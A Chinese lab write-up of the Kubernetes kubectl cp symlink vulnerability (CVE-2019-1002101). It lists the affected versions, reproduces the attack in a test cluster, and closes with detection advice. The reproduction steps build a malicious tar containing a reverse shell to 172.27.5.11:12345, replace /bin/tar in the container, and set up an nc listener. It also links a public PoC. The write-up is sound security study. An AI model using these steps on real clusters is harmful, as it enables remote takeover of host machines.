漏洞简介
Twistlock的流程图很好的解释了kubectl cp漏洞的利用链及其原理。
启动一个被破坏或者恶意的容器
攻击者准备一个恶意的tar包(包含恶意软链接,例如:./baddir/twist->/proc/self/cwd)
此时容器中的二进制tar包被替换成恶意tar包
用户运行kubectl cp将文件从容器传输到宿主机
kubectl提取恶意tar包中的文件(此时会解析其中的恶意软链接,即写入到宿主机的 /proc/self/cwd 路径)
攻击者可以控制恶意软链接,将文件写到宿主机任意位置

影响范围
Redhat Openshift_Container_Platform 3.10
Kubernetes 1.14.0
Redhat Openshift_Container_Platform 3.11
1.12.0 <= Kubernetes < 1.12.7
Redhat Openshift_Container_Platform 3.9
1.13.0 <= Kubernetes < 1.13.5
1.11.0 <= Kubernetes < 1.11.9
漏洞复现
实验环境
Kubernetes 1.11.1
实验过程
环境配置
- 使用Metarget创建单节点k8s集群
 
1  | ./metarget cnv install cve-2019-1002101 --domestic  | 

可以看到单节点集群环境安装成功(需要使用--domestic安装单节点k8s集群)
- 创建一个Pod并运行Nginx容器,查看运行状态
 
1  | kubectl run nginx --image=nginx  | 


brompwnie的做法
- 首先从github中获取我们需要的三个文件
 

- 使用kubectl cp将文件传输到容器中(这样传文件比较方便)
 
注意:createPwnTar.sh中需要修改反弹shell命令中的x.x.x.x/端口为攻击机的ip和端口
1  | kubectl cp /home/safedog/setupTar.sh nginx-64f497f8fd-wdsg2:.  | 
- 赋予三个文件执行权限
 
1  | chmod +x badbin setupTar.sh createPwnTar.sh  | 
- 依次执行createPwnTar.sh和setupTar.sh
 
1  | ./createPwnTar.sh  | 

- 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,之后只要在植入的路径打开终端便能够反弹shell
 
宿主机执行kubectl cp命令

宿主机在路径下打开终端,攻击机获取反弹shell


h4ckm310n的做法
- 使用kubectl进入容器命令行,进行恶意tar包构造
 
1  | kubectl exec -it nginx-64f497f8fd-wdsg2 -- /bin/bash  | 
在当前目录下创建了一个名为 badbin 的符号链接,指向系统的 /bin 目录。
1  | ln -s /bin ./badbin  | 
这个步骤将 /bin 目录的符号链接badbin一起打包到了 malicious.tar 中。
1  | tar -cf malicious.tar ./badbin  | 
这个命令尝试删除当前目录下的 ./badbin 目录。但由于 ./badbin 是一个符号链接,删除操作不会影响到 /bin 目录,因为它只会删除链接而不会删除链接指向的目录。
1  | rm -f ./badbin  | 
这个命令在当前目录下创建了一个名为 ./badbin 的新目录。
1  | mkdir ./badbin  | 
这个命令使用 echo 将一段脚本写入 ./badbin/ls 文件。这段脚本实际上是一个简单的反向 shell,它试图连接到 IP 地址 172.27.5.11 的 TCP 端口 12345,并将命令执行的结果发送到该连接。这是一个潜在的恶意操作,可以用于入侵和远程控制目标系统。
1  | echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/172.27.5.11/12345 0>&1' > ./badbin/ls  | 
这个命令将 ./badbin/ls 文件的执行权限设置为可执行。
1  | chmod +x ./badbin/ls  | 
这个命令将新创建的 ./badbin/ls 文件添加到之前创建的 malicious.tar 归档文件中。
1  | tar -rf malicious.tar ./badbin/ls  | 
创建恶意test文件,内容如下。
1  | 
  | 
将其替换到/bin/tar中。
1  | rm -rf /bin/tar  | 
- 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,并执行ls命令触发反弹shell
 
kali攻击机进行监听
1  | nc -lvvp 12345  | 
宿主机执行
1  | kubectl cp nginx-64f497f8fd-wdsg2:test /home/safedog  | 
宿主机执行kubectl cp成功后可以发现bin目录被携带下来

宿主机执行成功后执行ls命令,可以在攻击机上获取反弹的shell


总结思考检测方式
- 版本检测
 
根据漏洞影响的版本信息进行检测
- 敏感目录/bin/tar
 
监控异常指令修改/bin/tar目录导致漏洞利用
参考链接
POC:
https://github.com/brompwnie/CVE-2019-1002101-Helpers
漏洞通告:
Author: Sally
